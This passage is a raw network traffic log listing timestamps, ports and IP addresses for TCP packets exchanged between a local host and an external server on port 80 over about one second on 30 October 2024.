Oct 30, 2024 00:20:17.927432060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927438974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927447081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927460909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927464008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927475929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927484989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927490950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927506924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927515984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927521944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927551031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927552938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927566051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927580118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927594900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927603960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927611113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927625895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927634001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927640915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927653074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927659988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927675009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927689075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927704096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927712917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927720070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927742958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927757978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927772045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927772999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927788019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927798033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927802086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927810907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927817106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927831888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927845955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927856922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927860975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927876949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927881002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927891970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927905083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927908897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927923918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927930117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927937984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927952051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927966118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.927967072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927982092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.927995920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928006887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928010941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928020000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928025961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928042889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928056002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928057909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928081989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928086042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928097010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928112030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928127050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928141117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928158045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928173065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928183079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928189039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928196907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928204060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928220034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928231955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928235054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928250074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928261995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928265095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928276062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928280115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928297043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928312063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928323030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928327084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928342104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928345919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928359032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928376913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928385019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928391933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928404093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928406954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928423882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928428888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928438902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928453922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928469896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928483963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928492069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928498983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928504944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928514004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928523064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928529024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928546906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928553104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928563118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928579092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928595066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928607941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928611040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928626060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928630114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928641081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928652048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928654909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928668976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928687096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928694963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928704977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928713083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928720951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928735971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928761005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928762913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928776979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928785086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928792000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928807020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928819895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928822994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928838968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928845882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928853035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928868055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928881884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928896904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928898096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928905010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928913116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928927898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928942919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928956985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928973913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928975105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928975105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.928988934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.928997040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929006100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929020882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929030895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929037094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929060936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929070950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929076910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929092884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929109097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929122925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929132938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929137945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929152012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929163933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929167032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929183006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929193020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929197073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929213047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929228067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929238081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929244041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929254055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929259062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929275036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929290056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929300070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929306030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929321051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929336071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929349899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929349899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929354906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929372072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929379940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929388046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929403067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929418087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929431915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929434061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929446936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929455996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929461956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929474115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929476023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929490089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929506063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929516077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929519892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929527044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929534912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929552078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929560900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929567099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929583073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929599047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929615021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929625988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929630041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929646969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929656029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929661989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929677010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929692984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929701090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929708958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929717064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929724932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929738045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929754019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929754972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929769039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929779053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929785013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929800034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929809093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929815054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929831982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929842949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929847002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929862022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929877996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929893017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929903030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929908037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929924011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929939032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929954052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929954052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929955959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929974079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929982901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.929991007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.929991961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.930046082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.162156105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.162281990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.198756933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.203200102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.205899954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206010103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206047058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206099987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206132889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206165075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206171989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206227064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206263065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206294060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206299067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206357956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206382990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206412077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206451893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206489086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206520081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206541061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206542015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206577063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206610918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206640959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206645966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206680059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206715107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206743956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206751108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206784964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206811905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206818104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206852913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206876040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206886053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206917048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206921101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206954002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.206985950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.206989050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207037926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207071066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.207072973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207108974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207135916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.207142115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207175970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207206011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.207211018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207245111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207278967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207290888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.207330942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207361937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.207386971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.207446098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210231066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210266113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210300922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210315943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210335970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210371017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210383892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210422039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210457087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210473061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210489988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210524082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210577011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210607052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210613966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210654974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210679054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210691929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210724115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210743904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210777998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210830927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210860014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210865974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210899115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210927963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.210952044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.210985899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211014986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211019993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211055994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211085081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211108923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211142063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211165905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211179018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211209059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211222887 CET	80	49712	185.215.113.16	192.168.2.5
